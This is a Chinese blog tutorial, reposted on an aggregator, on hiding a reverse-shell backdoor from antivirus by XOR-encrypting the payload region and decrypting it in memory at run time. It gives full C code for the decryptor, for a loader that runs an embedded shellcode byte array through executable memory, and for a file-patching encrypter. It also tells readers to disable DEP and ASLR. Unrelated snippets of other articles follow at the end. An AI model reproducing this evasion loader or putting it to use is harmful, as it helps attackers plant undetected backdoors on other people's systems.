1.9 动态解密ShellCode反弹

动态解密执行技术可以对抗杀软的磁盘特征查杀。其原理是将程序代码段中的代码进行加密,然后将加密后的代码回写到原始位置。当程序运行时,将动态解密加密代码,并将解密后的代码回写到原始位置,从而实现内存加载。这种技术可以有效地规避杀软的特征码查杀,因为加密后的代码通常不会被标记为恶意代码。

利用动态解密执行技术可以实现免杀。当程序中使用了敏感的函数时,存在被杀的风险。通过将代码段中的代码进行加密,在需要时直接在内存中解密,可以避免被杀软检测到硬盘文件的特征,从而规避杀软针对硬盘特征的查杀手法。

在学习本章内容之前需要先了解VirtualProtect函数,该函数可以动态调整特定一段内存区域的读写执行属性,该函数原型如下所示;

BOOL WINAPI VirtualProtect(LPVOID lpAddress,SIZE_T dwSize,DWORD  flNewProtect,PDWORD lpflOldProtect
);

其中,参数的含义如下:

  • lpAddress:欲更改保护属性的虚拟内存区域的起始地址。
  • dwSize:欲更改保护属性的虚拟内存区域的大小。
  • flNewProtect:新的保护属性。
  • lpflOldProtect:指向变量的指针,用于存储原始保护属性。

有了此关键函数的支持,那么实现动态解密执行将变得容易,一般而言在设置权限之前需要通过VirtualQuery来查询一下当前权限并将查询结果保存起来,该步骤主要用于在执行解密后来将内存恢复到原始位置,接着通过调用VirtualProtect函数,将该页的保护属性改为PAGE_READWRITE,以便可以对该页进行读写操作,解密函数很容易被实现。

void Decrypt(DWORD* pData, DWORD Size, DWORD value)
{// 保存查询结果MEMORY_BASIC_INFORMATION mbi_thunk;// 查询页信息VirtualQuery(pData, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION));// 改变页保护属性为读写VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, PAGE_READWRITE, &mbi_thunk.Protect);// 计算出对数据共需要异或的次数Size = Size / 0x4;// 解密begindecrypt与enddecrypt标签处的数据while (Size--){*pData = (*pData) ^ value;pData++;}// 恢复页的原保护属性DWORD dwOldProtect;VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, mbi_thunk.Protect, &dwOldProtect);
}

如上所示该函数接受三个参数:pData 是待解密数据的指针,Size 是数据块的大小(以字节为单位),value 是用来异或解密数据的值。

首先,该函数调用了VirtualQuery函数来获取pData所在虚拟内存页的信息,然后通过调用VirtualProtect函数,将该页的保护属性改为PAGE_READWRITE,以便可以对该页进行读写操作。接下来该函数计算需要对多少个DWORD值进行异或解密。由于每个DWORD4个字节,所以将Size除以0x4就可以得到需要异或解密的DWORD数量。

最后,该函数对每个DWORD值进行异或解密操作,并将解密后的值写回到内存中。解密操作使用了按位异或(^)运算符,即将每个DWORD值中的每个字节与value中对应的字节进行异或操作。由于value是一个DWORD 值,因此在对所有字节进行异或操作时value4个字节会循环使用。最后再次调用VirtualProtect函数,将该页的保护属性改回原来的状态。

主函数中首先读者需要自行生成一段32位的反弹ShellCode后门,并将该区域替换至buf所处位置处,并编译这段代码;

小提示:读者在编译时,请关闭DEP,ASLR,地址随机化等保护,否则VA不固定,无法确定位置。

#pragma comment(linker, "/section:.data,RWE")typedef void(__stdcall *CODE) ();int main(int argc, char* argv[])
{DWORD AddressA, AddressB, Size, key;DWORD *ptr;TCHAR cCode[30] = { 0 };__asm mov AddressA, offset BeginOEP__asm mov AddressB, offset EndOEPSize = AddressB - AddressA;ptr = (DWORD*)AddressA;// 设置加密密钥_tcscpy(cCode, L"lyshark");key = 1;for (unsigned int i = 0; i< lstrlen(cCode); i++){key = key * 6 + cCode[i];}// 执行解密函数Decrypt(ptr, Size, key);BeginOEP:__asm inc eax  // 在十六进制工具中对应0x40__asm dec eax  // 在十六进制工具中对应0x48// MessageBoxA(0, "hello lyshark", 0, 0);unsigned char buf[] ="\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9""\xb1\x59\x31\x56\x14\x03\x56\x14\x83\xee\xfc\xf8\x82\x46""\xc3\x73\x6c\xb7\x14\xeb\xe4\x52\x25\x39\x92\x17\x14\x8d""\xd0\x7a\x95\x66\xb4\x6e\x94\x87\x36\x38\x9c\x51\xc2\x34""\x09\xac\x14\x14\x75\xaf\xe8\x67\xaa\x0f\xd0\xa7\xbf\x4e""\xdb\xac\xa6";PVOID pFunction = NULL;// 分配空间pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 拷贝恶意代码memcpy(pFunction, buf, sizeof(buf));// 执行代码CODE StartShell = (CODE)pFunction;StartShell();EndOEP:__asm inc eax__asm dec eaxreturn 0;
}

此时我们需要将编译代码拖入到WinHex工具内,然后按下Ctrl+Alt+X输入4048找到开始于结束的位置,此处之所以是4048是因为我们在代码片段中布置了__asm inc eax,__asm dec eax是为了方便我们搜索时的特征值,至此我们分别记录下起始地址592结束地址5F4此处的代码需要被工具异或加密。

在这里插入图片描述

接下来读者需要实现一个对文件进行加密的功能,如下所示的PatchFile();函数,读者依次传入前面生成的后门程序,并分别传入WinHex中给出的起始地址及结束地址,以及一个加密密钥,此处需保持与上方解密密钥一致;

#include <Windows.h>
#include <tchar.h>
#include <iostream>// 异或加密
bool PatchFile(LPCTSTR szFileName, DWORD address1, DWORD address2, LPCTSTR szRegCode)
{TCHAR szBuffer[30] = { 0 };DWORD offset, Size, k, nbWritten, szTemp;;HANDLE hFile;DWORD* ptr;hFile = CreateFile(szFileName,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile == INVALID_HANDLE_VALUE){return false;}// 对输入的注册码进行一定的变换,得到密钥k ,k = F(注册码)k = 1;for (DWORD i = 0; i < _tcslen(szRegCode); i++){k = k * 6 + szRegCode[i];}Size = address2 - address1;// 加密时,每次异或 DWORD数据,Size是为最终需要异或的次数Size = Size / 0x4;offset = address1;for (DWORD i = 0; i < Size; i++){SetFilePointer(hFile, offset, NULL, FILE_BEGIN);// 读取DWORD字节的文件内容ReadFile(hFile, szBuffer, 4, &szTemp, NULL);ptr = (DWORD*)szBuffer;*ptr = (*ptr) ^ k;SetFilePointer(hFile, offset, NULL, FILE_BEGIN);// 写入文件if (!WriteFile(hFile, ptr, 4, &nbWritten, NULL)){CloseHandle(hFile);return false;}offset = offset + 4;}CloseHandle(hFile);return true;
}int main(int argc, char* argv[])
{bool bSuccess = PatchFile("d://lyshark.exe", 0x592, 0x5f4, "lyshark");if (bSuccess){printf("ShellCode 已被加密替换");}system("pause");return 0;
}

这段代码运行后将会通过异或运算替换lyshark.exe程序中的0x592-0x5f4之间的机器码,并以lyshark为密钥依次异或替换;

当程序没有运行到指定区域时区域内的数据默认处于加密状态,此时的汇编指令集则处于被保护的状态;

在这里插入图片描述

而一旦EIP指针运行到此处时,则此处的代码将被解密并展开,由于指令执行到此处才会被解密执行,而未被执行则处于加密状态,所以这将导致多数磁盘查杀无法查出特征值,内存查杀也需要真正运行到此处才能确定此处代码的真正功能;

在这里插入图片描述

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/a4b8c8b6.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/63094.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Cookie和Session的那些事儿】

&#x1f320;作者&#xff1a;TheMythWS. &#x1f386;专栏&#xff1a;《集合与数据结构》 &#x1f387;座右铭&#xff1a;不走心的努力都是在敷衍自己&#xff0c;让自己所做的选择&#xff0c;熠熠发光。 目录 认识Cookie和Session Cookie Cookie对象的特点 Cookie对…

Unity 之 参数类型之值类型参数的用法

文章目录 基本数据类型结构体结构体的进一步补充 总结&#xff1a; 当谈论值类型参数时&#xff0c;我们可以从基本数据类型和结构体两个方面详细解释。值类型参数指的是以值的形式传递给函数或方法的数据&#xff0c;而不是引用。 基本数据类型 基本数据类型的值类型参数&…

数据库介绍

一.什么是数据库&#xff1f; 通俗的来讲数据库就是用来存放数据的地方&#xff0c;可以理解为和冰箱一样 官方&#xff1a; 数据库&#xff08;Database&#xff09;是按照数据结构来组织、存储和管理数据的仓库。 每个数据库都有一个或多个不同的 API 用于创建&#xff0c;…

说说Flink双流join

分析&回答 Flink双流JOIN主要分为两大类 一类是基于原生State的Connect算子操作另一类是基于窗口的JOIN操作。其中基于窗口的JOIN可细分为window join和interval join两种。 基于原生State的Connect算子操作 实现原理&#xff1a;底层原理依赖Flink的State状态存储&…

11.添加侧边栏,并导入数据

修改CommonAside的代码&#xff1a; <template><div><el-menu default-active"1-4-1" class"el-menu-vertical-demo" open"handleOpen" close"handleClose":collapse"isCollapse"><!--<el-menu-it…

UE5打完包后,启动程序不能全屏

最近看到ue5的打包程序后不能默认自动全屏&#xff0c;效果如下&#xff0c;发现并不是全屏的&#xff0c;而且就算点击放大也不是全屏 解决办法&#xff1a;设置如下之后在打包就可以了 但是会一直打印错误的日志&#xff0c;不过这个不影响使用

芯片开发之难如何破解?龙智诚邀您前往DR IP-SoC China 2023 Day

2023年9月6日&#xff08;周三&#xff09;&#xff0c;龙智即将亮相D&R IP-SoC China 2023 Day&#xff0c;呈现集成了Perforce与Atlassian产品的芯片开发解决方案&#xff0c;助力企业更好、更快地进行芯片开发。 龙智资深顾问、技术支持部门负责人李培将带来主题演讲—…

(数字图像处理MATLAB+Python)第十一章图像描述与分析-第三、四节:几何表述和形状描述

文章目录 一&#xff1a;几何描述&#xff08;1&#xff09;像素间几何关系A&#xff1a;邻接与连通B&#xff1a;距离 &#xff08;2&#xff09;像素间几何特征A&#xff1a;位置B&#xff1a;方向C&#xff1a;尺寸 &#xff08;3&#xff09;程序 二&#xff1a;形状描述&a…

yolov5自定义模型训练三

经过11个小时cpu训练完如下 在runs/train/expx里存放训练的结果&#xff0c; 测试是否可以检测ok 网上找的这张识别效果不是很好&#xff0c;通过加大训练次数和数据集的话精度可以提升。 训练后的权重也可以用视频源来识别&#xff0c; python detect.py --source 0 # webca…

Fiddler Response私人订制

在客户端接口的测试中&#xff0c;我们经常会需要模拟各种返回状态或者特定的返回值&#xff0c;常见的是用Fiddler模拟各种请求返回值场景&#xff0c;如重定向AutoResponder、请求拦截修改再下发等等。小编在近期的测试中遇到的一些特殊的请求返回模拟的测试场景&#xff0c;…

docker作业

目录 1、使用mysql:5.6和 owncloud 镜像&#xff0c;构建一个个人网盘。 1.1启动镜像 1.2启动cloud镜像 1.3浏览器访问 ​编辑 2、安装搭建私有仓库 Harbor 2.1下载docker-compose 2.2 磁盘挂载&#xff0c;保存harbor 2.3 修改配置文件 2.4安装 2.5浏览器访问 2.6 新…

MybatisPlus(2)

前言&#x1f36d; ❤️❤️❤️SSM专栏更新中&#xff0c;各位大佬觉得写得不错&#xff0c;支持一下&#xff0c;感谢了&#xff01;❤️❤️❤️ Spring Spring MVC MyBatis_冷兮雪的博客-CSDN博客 上篇我们简单介绍了MybatisPlus的方便之处&#xff0c;这篇来深入了解Myb…

代码随想录算法训练营第二十四天|理论基础 77. 组合

理论基础 其实在讲解二叉树的时候&#xff0c;就给大家介绍过回溯&#xff0c;这次正式开启回溯算法&#xff0c;大家可以先看视频&#xff0c;对回溯算法有一个整体的了解。 题目链接/文章讲解&#xff1a;代码随想录 视频讲解&#xff1a;带你学透回溯算法&#xff08;理论篇…

Maven之高版本的 lombok 和 tomcat 7 插件冲突问题

高版本的 lombok 和 tomcat 7 插件冲突问题 在开发期间&#xff0c;当我们使用 tomcat7-maven-plugin 来作为运行环境运行我们项目使&#xff0c;如果我们项目中使用了 1.16.20 及以上版本的 lombok 包&#xff0c;项目启动时会报错&#xff1a; for annotations org.apache.…

使用代理服务器和pip安装软件包

在开着代理服务器的情况下&#xff0c;直接pip install 软件包名会出现如下错误&#xff0c; WARNING: Retrying (Retry(total4, connectNone, readNone, redirectNone, statusNone)) after connection broken by SSLError(SSLZeroReturnError(6, TLS/SSL connection has been…

设计模式--代理模式(Proxy Pattern)

一、什么是代理模式&#xff08;Proxy Pattern&#xff09; 代理模式&#xff08;Proxy Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许一个对象&#xff08;代理&#xff09;充当另一个对象&#xff08;真实对象&#xff09;的接口&#xff0c;以控制对该对象的…

智能工厂移动式作业轻薄加固三防平板数据采集终端

在这个高度自动化和数字化的环境中&#xff0c;数据采集变得尤为重要。为了满足这个需求&#xff0c;工业三防平板数据采集终端应运而生。工业三防平板数据采集终端采用了轻量级高强度镁合金材质&#xff0c;这使得它在保持轻薄的同时具有更强的坚固性。这种材质还具有耐磨防损…

CAR-T商品化的第一步

1、CAR-T细胞的体外扩增能力 CAR-T细胞疗法需要先从患者体内获得T淋巴细胞&#xff0c;然后通过体外转基因技术 transduce CAR靶向结构域。这一过程需要在细胞培养体系中得到充分的扩增&#xff0c;以获得足够的治疗CAR-T细胞数量。因此&#xff0c;CAR-T细胞的体外扩增能力直…

liunx下ubuntu基础知识学习记录

使用乌班图 命令安装使用安装网络相关工具安装dstat抓包工具需要在Ubuntu内安装openssh-server gcc安装vim安装hello word输出1. 首先安装gcc 安装这个就可以把gcc g一起安装2. 安装VIM3.编译运行代码 解决ubuntu与主机不能粘贴复制 命令安装使用 安装网络相关工具 使用ifconf…

最小生成树 -prim算法

一般无向图建图稠密图-prim算法稀疏图-kruskal算法 prim : 加点法 1.先随机选一个点&#xff0c;加入集合 &#xff0c;之后寻找最短的距离的点加入集合&#xff0c;行程最小生成树。 2.注意最小生成树是不能有回路的&#xff0c; 所以可以把回路设置成最大值&#xff0c;即假装…